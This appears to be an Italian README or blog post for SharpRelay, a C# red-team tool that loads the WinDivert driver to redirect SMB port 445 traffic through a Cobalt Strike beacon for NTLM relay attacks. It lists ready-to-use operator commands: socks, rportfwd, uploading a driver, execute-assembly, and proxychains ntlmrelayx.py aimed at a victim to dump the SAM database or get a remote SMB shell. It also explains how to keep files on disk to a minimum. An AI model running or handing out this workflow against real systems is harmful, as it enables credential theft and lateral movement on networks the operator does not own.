
Strumento in C# che sfrutta il driver WinDivert per intercettare e reindirizzare il traffico sulla porta 445 di Windows per attacchi di relay NTLM tramite Cobalt Strike, consentendo movimento laterale e raccolta di credenziali nelle operazioni di red team.
L'unico requisito per far funzionare questo attacco è avere un beacon con privilegi di amministratore locale o con la capacità di caricare driver. L'attacco che utilizza SharpRelay funziona come segue:
rportfwd di Cobalt Strike per inoltrare la porta 8445 dell'host compromesso alla porta 445 del nostro teamserver.I seguenti comandi di esempio possono essere eseguiti da Cobalt Strike per eseguire queste azioni:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
Quando tutti i comandi sopra vengono eseguiti con successo, è necessario avviare il server relay (configurare proxychains con la porta specificata nei comandi precedenti, es. 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
Il comando sopra dumpa il database SAM dall'host vittima. È anche possibile ottenere una shell SMB interattiva ed eseguire comandi in remoto sulla vittima.
SharpRelay è stato testato su Win10 x64.
Se si desidera compilare lo strumento dal sorgente, si può fare quanto segue:
Clonare il repository
Assicurarsi di poter vedere tutti i pacchetti NuGet nella scheda Installati aprendo Progetto->Gestisci pacchetti NuGet in Visual Studio
Compilare il progetto
Le istruzioni sopra sono state testate utilizzando Visual Studio 2019.
SharpRelay si basa sul driver WinDivert. Secondo la sua descrizione, WinDivert è un driver kernel che consente l'intercettazione e la modifica dei pacchetti in modalità utente. L'utente deve specificare un filtro e tutti i pacchetti che corrispondono a questo filtro verranno intercettati e potranno essere modificati.
Dal file ReadMe:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
Per noi, la cosa più importante che WinDivert ci permette di fare è intercettare il traffico diretto a una porta Windows aperta e reindirizzarlo verso un'altra porta modificando le porte di origine e destinazione TCP di ogni pacchetto, ricalcolando i checksum TCP e reiniettando i pacchetti nello stack di rete.
Su Windows, la porta 445 è sempre in esecuzione di default. Non entrerò nei dettagli sul processo che utilizza la porta 445 perché è già stato analizzato nel seguente post, quindi vai avanti e leggilo:
Il post sopra contiene anche un'altra idea interessante. Usare WinDivert per eseguire un attacco SMB relay tramite Metasploit. Puoi caricare alcune DLL e un file driver sull'host di destinazione insieme a divertTCPconn.exe ed eseguirli. Ho trovato questo attacco fantastico, ma quello che non mi è piaciuto è stato dover caricare più DLL sull'host di destinazione.
Quindi il mio obiettivo era fare lo stesso attacco lasciando il minimo numero di file su disco ed eseguendo l'attacco tramite Cobalt Strike.
Prima di tutto, volevo usare la funzione execute-assembly di Cobalt Strike, quindi ho deciso di scrivere il mio codice usando il framework .NET. Il mio pensiero iniziale era di riscrivere divertTCPconn in C# e poi tutto avrebbe funzionato. Si è scoperto che era molto complicato. Fortunatamente, ho trovato il seguente pacchetto NuGet scritto da TechnikEmpire:
Utilizzando WinDivertSharp, sono stato in grado di scrivere SharpRelay per caricare il driver creando un servizio e comunicare con il driver WinDivert per eseguire qualsiasi modifica ai pacchetti di cui avevo bisogno.